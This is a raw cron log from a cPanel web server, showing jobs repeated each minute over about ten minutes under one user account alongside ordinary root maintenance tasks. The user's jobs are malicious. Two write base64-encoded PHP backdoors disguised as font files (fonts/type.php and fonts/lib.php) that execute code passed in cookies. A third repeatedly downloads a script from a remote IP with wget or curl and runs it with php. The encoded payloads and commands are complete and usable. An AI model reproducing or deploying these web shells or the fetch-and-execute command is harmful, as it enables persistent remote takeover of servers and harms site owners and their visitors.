Sep  9 18:05:01 ip-184-168-122-23 CROND[25762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:05:01 ip-184-168-122-23 CROND[25759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:05:01 ip-184-168-122-23 CROND[25760]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 18:05:01 ip-184-168-122-23 CROND[25761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:05:01 ip-184-168-122-23 CROND[25764]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:06:01 ip-184-168-122-23 CROND[25854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:06:01 ip-184-168-122-23 CROND[25857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:06:01 ip-184-168-122-23 CROND[25856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:06:01 ip-184-168-122-23 CROND[25859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:06:01 ip-184-168-122-23 CROND[25858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:07:01 ip-184-168-122-23 CROND[25940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:07:01 ip-184-168-122-23 CROND[25942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:07:01 ip-184-168-122-23 CROND[25945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:07:01 ip-184-168-122-23 CROND[25947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:08:01 ip-184-168-122-23 CROND[26034]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:08:01 ip-184-168-122-23 CROND[26036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:08:01 ip-184-168-122-23 CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:08:01 ip-184-168-122-23 CROND[26037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:08:01 ip-184-168-122-23 CROND[26039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:09:01 ip-184-168-122-23 CROND[26132]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:09:01 ip-184-168-122-23 CROND[26135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:09:01 ip-184-168-122-23 CROND[26134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:09:01 ip-184-168-122-23 CROND[26133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:09:01 ip-184-168-122-23 CROND[26137]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 18:10:01 ip-184-168-122-23 CROND[26308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:10:01 ip-184-168-122-23 CROND[26311]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:10:01 ip-184-168-122-23 CROND[26312]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:10:01 ip-184-168-122-23 CROND[26310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:10:01 ip-184-168-122-23 CROND[26319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:10:01 ip-184-168-122-23 CROND[26316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:10:01 ip-184-168-122-23 CROND[26317]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:10:01 ip-184-168-122-23 CROND[26318]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:11:01 ip-184-168-122-23 CROND[26404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:11:01 ip-184-168-122-23 CROND[26406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:11:01 ip-184-168-122-23 CROND[26403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:11:01 ip-184-168-122-23 CROND[26405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:12:02 ip-184-168-122-23 CROND[26503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:12:02 ip-184-168-122-23 CROND[26507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:12:02 ip-184-168-122-23 CROND[26505]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:12:02 ip-184-168-122-23 CROND[26508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:12:02 ip-184-168-122-23 CROND[26506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:13:01 ip-184-168-122-23 CROND[26595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:13:01 ip-184-168-122-23 CROND[26597]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:13:01 ip-184-168-122-23 CROND[26599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:13:01 ip-184-168-122-23 CROND[26600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:14:01 ip-184-168-122-23 CROND[26671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:14:01 ip-184-168-122-23 CROND[26672]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:14:01 ip-184-168-122-23 CROND[26673]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 18:14:01 ip-184-168-122-23 CROND[26675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:14:01 ip-184-168-122-23 CROND[26676]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26851]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26854]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26855]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:15:01 ip-184-168-122-23 CROND[26856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26857]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:15:01 ip-184-168-122-23 CROND[26860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:16:01 ip-184-168-122-23 CROND[27015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 18:16:01 ip-184-168-122-23 CROND[27019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:16:01 ip-184-168-122-23 CROND[27017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:16:01 ip-184-168-122-23 CROND[27021]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 18:16:01 ip-184-168-122-23 CROND[27018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 18:16:01 ip-184-168-122-23 CROND[27020]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
